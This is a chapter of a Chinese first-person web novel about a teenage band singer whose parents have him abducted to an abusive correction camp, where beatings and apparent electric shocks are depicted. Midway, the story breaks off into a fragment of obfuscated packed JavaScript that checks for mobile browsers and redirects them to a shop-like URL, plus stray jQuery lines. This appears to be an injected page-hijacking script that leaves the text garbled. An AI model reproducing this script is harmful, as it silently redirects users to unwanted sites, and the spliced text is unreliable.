我是随歌，是的，就是意哥队伍里时常拿着竹扇装逼的黄头发帅哥。


    我可不像意哥那样帅不自知，我自己知道我肯定很坏的，学生时期还是校草，被好多女孩子追呢。不过我没谈过什么恋爱，年少时忙着练歌，没想过这种事。现在是我自己变得像个废人了，不能耽误人家女孩子……不对，跑题了。


    所有人见过我，都觉得我是个天生没心没肺的主儿。北京胡同里长大的孩子，身上多少带点儿混混的劲儿，我也不例外。


    我爸妈说，生我的时候，我妈正在听磁带，周华健的《朋友》放到一半，我就出来了。我爸当时在产房外头听见我哭，一拍大腿说这孩子嗓门亮，想了三天，最后我妈说，就叫随歌吧，随歌而生。


    他们都是传统到骨子里的人，我爸是典型的老爷们儿，主张“打”式教育，错了就得挨，疼了才能记住。我妈相反，柔得像水，我爸肘击完我，她就红着眼圈来找我，摸着我的头说别怪你爸，他也是为你好。


    其实我没怪过他，至少在被送到竹翰学院前，一次都没怪过。我自己晓得我有多不让人省心，我也挺对不起父母的，他们辛辛苦苦养着我这么个废物。


    我的前十六年过得挺不错，成绩垫底，但嘴甜，脸好看，性格又开朗，身边人都愿意跟我玩儿。逃课的时候，我就跟我那群“狐朋狗友”钻到废弃的烂尾楼里搞乐曲创作。那儿墙皮剥落，钢筋外露，但回声特好，我们在那儿吼一嗓子，能荡出三层颤音。


    乐队有五个人，我是主唱兼吉他手，李腾弹贝斯，是我最好的哥们。队名叫“苦咖啡不加糖”，本来我打算取“草莓牛奶”的，但他们四个说我这个不怎么样，“苦咖啡不加糖”是食物链顶端的忧郁，他们要当忧郁少年。而且苦咖啡里加点糖，苦里带甜，像我们的人生。那行吧，就叫这个。


    从初中一路搞到高一，我们乐队居然真的在互联网上闯了点儿名堂，攒了一百多万粉丝，每发一首新歌，底下评论能刷几千条。


    那时候我是真喜欢我的名字——随歌，随歌，跟着歌走。我觉得我就是为音乐生的。


    中考擦边上了我们那儿最差的高中，不过乐队几个也都在这儿，李腾还跟我同班。别人上课传纸条问中午吃啥，我们传五线谱。虽然经常被我爸揍，但那时小日子过得挺有盼头。当时我心比天高，觉得学习不好又怎样，我有音乐天赋。


    高一那年我提过走艺考，爸妈头也不抬就否了。他们认为艺考是废材走的路，他们的宝贝儿子不能这么糟践自己，转头给我买了三本《五年高考三年模拟》。


    ——我转手就把他们当废品卖了。


    我叛逆啊那时候，父母越不让做什么，我就越要做。晚自习逃课去练歌已经成了家常便饭，账号越做越大，有公司联系合作，几首原创的版权也卖了不少钱，我们都觉得我们离梦想越来越近。


    高一下学期，某个普通的晚自习。


    我们照常逃课去烂尾楼，李腾抱着电脑冲进来时，我正在调整吉他的弦距。


    “随队！随队你快看！”他兴奋地大喊，“我们被邀请了！”


    我慢吞吞道：“邀请啥？烧烤摊开业？”


    “星竞晚会！”他直接把电脑怼我眼前。


    我抬头一看，屏幕上是一封电子邀请函，白底金字，最上面是“星竞晚会”四个艺术字，下面是我们乐队的名字——“苦咖啡不加糖”。右下角有公章，红艳艳的，不像假的。


    我看了眼日期：“今天也不是愚人节啊。”


    “真的！”李腾急得抓我胳膊，“我刚刚查了官网，名单上有我们！邮件是昨天发的，我昨晚打游戏没看邮箱！”


    我盯着屏幕看了足足一分钟。


    我靠！是真的！


    星竞晚会，是那个像高考一样，专门给小乐队鲤鱼跳龙门的舞台。只要进前十，音乐这条路就赢了一大半。


    排练室里另外三个人也围拢过来，我们直接蹦了起来，抱成一团，像一群傻子一样又叫又跳。


    “哪首歌？”平静下来，我问道。


    “他们没指定，让带最拿手的。”李腾把电脑收回去。


    我低头看看手里的谱子，我们最近在磨一首新歌，叫《Bitter Dawn》，苦黎明。歌词是我写的，曲子改了十七遍，刚定稿。


    “就这首吧。”我说，“《Bitter Dawn》。”


    离比赛还有一个月，刚好我爸去云南出差，要两个月才回来。我妈管不住我，这简直是为我量身定做的机会。我把头发染成了黄色，天天翘课练歌。我妈急得团团转，给我爸打电话告状，但我爸项目正紧，回不来。


    现在想起来，那大概是我人生中最对不起我妈的一段时间。但那时候想不到这些，只觉得天时地利人和，该我成了。


    我们五个人泡在烂尾楼里，没日没夜地练习。李腾的贝斯断过三次，鼓手的鼓槌打断一对，我的手指尖磨出血，随便一擦血，继续弹。北京五月的风带着沙，从没了玻璃的窗户灌进来，吹得谱子哗啦响。


    日子一天天过去，比赛前夜终于来了。


    那天晚上，我买好机票，收拾完行李，趁着我妈出门散步，留了纸条，然后蹑手蹑脚拉开家门，打算乘坐火车去我的梦想之地。


    我知道等我妈回来，看到空荡荡的家肯定会哭。等我拿了名次，拿了奖金，第一个给她买她看中很久的那件羊毛衫。她一定会高兴的。


    门一开，我爸站在外面。


    我吓得一哆嗦，下意识闭上眼，过了几秒再睁开，他还站在那里，面无表情地看着我。


    完了……


    我爸提前回来了，我的皮今晚怕是要交代在这儿了。


    “……爸。”我颤抖着叫了声。


    我爸朝我伸出手，我条件反射地缩了缩脖子，以为他要打我。结果他只是拿过我的行李箱，淡淡道：“不是要去比赛吗？走，我送你。”


    说着，他还扫了一眼我头上的黄毛。


    要不说我是他儿子呢，我太了解他了，他哪是送我去比赛？他是想送我上天。


    我眼睛一转，连忙堆起笑：“爸，我突然想起我吉他变调夹忘拿了，那个特别重要，我现在去拿，马上就回来。”


    说完我钻回自己房间，关上门就立刻掏出手机，拨通李腾的电话。


    “哥们！”我压低声音，“我爸回来了，我可能要命丧九泉了。你们赶紧找到之前那首不用我唱的歌，今晚狂练！别管我了，一定要上台比赛！还有，真的对不起！”


    李腾似乎很焦急地想说些什么，以他的性格，估计是想来车站接我。这哪能行？我没给他说话的机会，挂断电话手机一扔——听说这玩意能定位，就没带身上。然后我翻出窗户，管他三七二十一就跳了下去。


    我家在二楼，落地时脚踝崴了一下，疼得我抽气。我爬起来就往胡同口跑，风声在耳边呼呼响，肺疼。


    跑出几十米，我回头看了一眼。


    三个穿着迷彩服的壮汉跟在我后面，边追边喊：“站住！别跑！”


    我去，我跑得更快了，车站就在前面那条街，只要到了人多的地方，他们肯定抓不到——


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231671|177773||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >接着我后领就被一只大手死死抓住，脚下一绊，整个人就被摁在水泥地上，额头磕破了皮，火辣辣地疼。两只胳膊被反拧到背后，疼得我动弹不得。


    “我操你妈！”我脑子一热就骂，“你们他妈谁啊？绑架？！”


    话没说完，脸上挨了结结实实一嘴巴，耳朵嗡嗡作响，什么也听不清了。


    我爸的皮鞋走到我面前，我艰难地抬起头，看见我妈站在他身后。两个人手挽着手，脸上带着笑，像正往幸福的未来走，完全没在乎地上眼冒金星的亲儿子。


    “麻烦你们了。”我听见我爸对壮汉说，“黄教官、孙教官、刘教官，这小子最皮了，到了那边一定会想办法逃走，你们可要看好了。”


    “放心。”那个刘教官接过我爸递来的烟，转头示意另外两个人把我拖起来，“等时间一到，一定还你们一个优秀乖巧的儿子。”


    我被拖上一辆白色面包车，透过车窗，我看见我爸妈转身回家的背影，一次头都没有回。


    车开了，黄教官在前面开车，孙教官和刘教官一左一右押着我，我连车门把手都够不到。我清了清嗓子，小声开口：“那个……各位爷，咱这是去哪儿啊？”


    刘教官笑了笑：“去好地方。”


    后来我再这么问，他们都不理我了。问急了，就给我一巴掌。我闭上嘴，脸贴着冰凉的座椅，看着窗外景色从城市变成郊区，从郊区变成荒野。


    我在车上硬是呆了七个小时，中途迷迷糊糊睡了一觉，醒来时窗外天已经黑了。荒郊野岭的，偶尔能看到一些穿着同样迷彩服的人往同一个方向走。还能听见狗叫声，远远近近的，还有一些听不清的鬼哭狼嚎的声音。


    凌晨两三点，车到了山东，停了。


    我被拽下车，冷风一吹，清醒了大半。


    眼前是一片建筑群，楼不高，四五层的样子，大门口挂着牌匾，上面写着“竹翰学院”。我被押进去，才发现楼的走廊上都装着铁栅栏，栅栏间隙小得连手都伸不出去。


    一共有四栋楼，面对面，中间是个很大的水泥操场。从那里走过去时，我看见几个穿着黑白校服的学生，他们正举着轮胎站在操场上。


    其中一个男孩，大概十三四岁，撑不住晃了一下。他身后的教官抬起脚，狠狠踹在他背上。


    男孩往前扑出去，滚了好几圈，轮胎脱手飞出去老远。他爬起来，脸上全是灰，嘴角破了，血混着泥。他踉跄着走回去，把轮胎重新举起来，手臂抖得更厉害了。


    我下意识要开口，旁边的刘教官按住我的肩膀：“怎么？想替他挨打？”


    我咽了口唾沫，挤出笑：“教官，我听话的话，不用挨打吧？”


    刘教官说：“不仅不用挨打，听话，就能从这儿出去，回家。”


    听话就能离开？好，我信。


    又走过一栋楼，铁皮门，窗户都用木板钉死了。但里面传来惨叫声，有男有女，还有电流的滋啦声，像电蚊拍打在虫子身上的声音。


    我脖子后面的汗毛立刻竖起来了。


    我靠，这里还有电击室？


    他们带我到一个空教室，让我把衣服全脱了，我照做，他们把我从头到脚检查了一遍，连鞋垫都抽出来看，没找到什么违禁品，最后扔给我一套黑白校服，我老老实实穿上，甚至还低头谢谢教官。


    刘教官拍了拍我的脸：“真乖，那就不剃你头发了。以后我就是你主教官了，你在二班。”


    我弯腰低头：“谢谢刘教官。”


    乖你妈，等老子出去，找机会回来把你头发一根一根拔光。